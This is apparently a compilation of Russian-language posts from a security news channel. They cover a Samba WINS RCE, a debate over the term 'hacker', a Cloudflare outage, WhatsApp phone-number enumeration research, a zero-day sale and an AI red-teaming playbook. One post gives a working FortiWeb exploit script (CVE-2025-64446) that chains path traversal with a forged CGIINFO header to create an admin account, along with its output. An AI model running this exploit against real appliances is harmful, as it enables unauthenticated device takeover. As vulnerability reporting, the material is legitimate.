CVE-2025-10230 (CVSS 10) ну это успех
*
Несанкционированные NetBIOS имена регистрационных пакетов WINS передаются в оболочку без экранирования
Неаутентифицированный сетевой злоумышленник выполняет RCE в качестве процесса Samba на контроллерах домена Active Directory.

На пленарке форума «Цифровые решения» прозвучал интересный заочный диалог между премьером Михаилом Мишустиным и сооснователем фонда развития кибербезопасности Сайберус Юрием Максимовым. Повод — филологический: стоит ли использовать слово «хакер»?

Премьер предложил более нейтральный термин — «аналитик по уязвимостям». И это можно понять: в массовом сознании «хакер» — это фигура в капюшоне и с закрытым лицом, символ угрозы. Для государства, которое активно вкладывает в развитие цифровых технологий и одновременно отвечает за безопасность и социальную стабильность, важно не подрывать доверие граждан к цифровой среде.

//это не аналитик, он ничего не анализирует, а зачастую тупо просто эсплуатирует чужие наработки.

Однако в профессиональном сообществе кибербезников «хакер» не имеет окраса. «Хакер» – это человек с особым мышлением, который ищет изъяны, уязвимости, несостыковки задекларированного с реальным. Для отрасли этот образ мышления — часть самоидентичности, неотъемлемая составляющая культуры белого взлома.

//в профессиональной среде уже устоялось что хакер это злоумышленник, а белый, черный или фиолетовый - не важно

Странно, если уж применять англицизмы - то почему бы не использовать слово "багхантер"?

CVE-2025-64446 FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass
*
Ну то есть исходя из ЭТОГО
можно получить такое:

python3 - <<'PY'
import base64, json, subprocess
header = base64.b64encode(json.dumps({
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
}).encode()).decode()

payload = json.dumps({
    "data": {
        "q_type": 1,
        "name": "note2",
        "access-profile": "prof_admin",
        "password": "note2",
        "comment": "automated RCE"
    }
})

cmd = [
    "curl", "--path-as-is", "-sk",
    "-H", f"CGIINFO: {header}",
    "-H", "Content-Type: application/json",
    "--data", payload,
    "https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../cgi-bin/fwbcgi"
]
print(subprocess.run(cmd, capture_output=True, text=True).stdout)
PY

Output from the box:

{ "results": { "name": "note2", "access-profile": "prof_admin", ... } }

То есть просто получаем нового админа

AI red teaming плейбук.

Комплексное покрытие
В этом руководстве описывается вся методология Red Teaming с использованием ИИ: от разведки до методов эксплуатации.

Практическое руководство
Основное внимание уделено практическим методам и реальным ситуациям. Каждый раздел содержит практические примеры, которые можно применить на практике.

Фокус на агентов
Сосредоточение на агентном уровне, где взаимодействуют базовые модели, инструменты, конфиденциальные данные и рабочие процессы, позволяет выявлять риски, возникающие на уровне приложений.

Испытано в бою
Применяется в реальных средах для выявления реальных уязвимостей и внедрения практических мер по их устранению.

❌ Масштабный сбой в Cloudflare положил Twitter, Spotify, Zoom, ChatGPT и многие другие сервисы.

Фикс крита на проде.

Когда пытаешься сделать безопаснее

WhatsApp для поиска контактов по номерам телефонов, вероятно, не имеет ограничения по скорости поиска и не блокируется при множестве обращений, следует из отчета исследователей из Венского университета. Таким образом, они смогли "пробить" 3,5 млрд зарегистрированных телефонных номеров, что в иной ситуации можно было бы назвать крупнейшей утечкой данных в истории.

У WhatsApp есть реестр пользователей, привязанный к их номерам телефонов - это нужно для беспрепятственного поиска контактов. Пользователи могут при установке приложения предоставить разрешение на доступ к своей локальной адресной книге и загрузить ее на серверы WhatsApp, получив в ответ доступ к данным о том, кто из контактов зарегистрирован в мессенджере. Но этим также можно злоупотреблять для проверки, подчеркивают исследователи.

Они разработали метод генерации датасетов с потенциально активными номерами телефонов для 245 стран, и искали контакты с частотой 7 тыс. номеров в секунду. Выявленные 3,5 млрд зарегистрированных в WhatsApp номеров превышают заявленные мессенджером "более 2 млрд". Случаи массовой проверки телефонов были и ранее.

"Поскольку зарегистрированный номер обычно указывает на активное устройство, эти списки являются надежной основой для спама, фишинга или обзвонов ботами. Это поднимает вопрос о том, как долго собранная информация остается актуальной и может быть использована злоумышленниками", - указывают составители материала.

"Так как мы предполагали, что запросы, всегда исходящие от одного IP-адреса и одних и тех же пяти аккаунтов, будут быстро ограничиваться и блокироваться, мы изначально сосредоточились на США, чтобы определить, сколько номеров, утекших в 2019 году, все еще активны. К нашему удивлению, ни IP-адрес, ни наши аккаунты не были заблокированы [за попытки]. Более того, мы не сталкивались с какими-либо ограничениями по скорости", - отмечается в отчете.

Согласно данным по "пробитым" аккаунтам, более 57% пользователей в мире имеют доступную всем фотографию в профиле. 9% глобально - бизнес-аккаунты. В материале также приведены данные по множеству стран. Но исследователи заверили, что их работа - это научное исследование, они не будут ни публиковать "сырые" данные, ни сохранять их после анализа.

Злоумышленник, известный как Zeroplayer, выставил на продажу на подпольных хакерских форумах уязвимость удаленного выполнения кода (RCE) нулевого дня в сочетании с возможностью выхода из песочницы, нацеленную на системы Microsoft Office и Windows.

Эксплойт стоимостью 300.000 долларов предположительно работает с большинством форматов файлов Office, включая последние версии, и затрагивает полностью исправленные установки Windows.

Андрюха, у нас инцидент, по коням!

🔳 Небезопасный AI. Тёмная сторона технологий.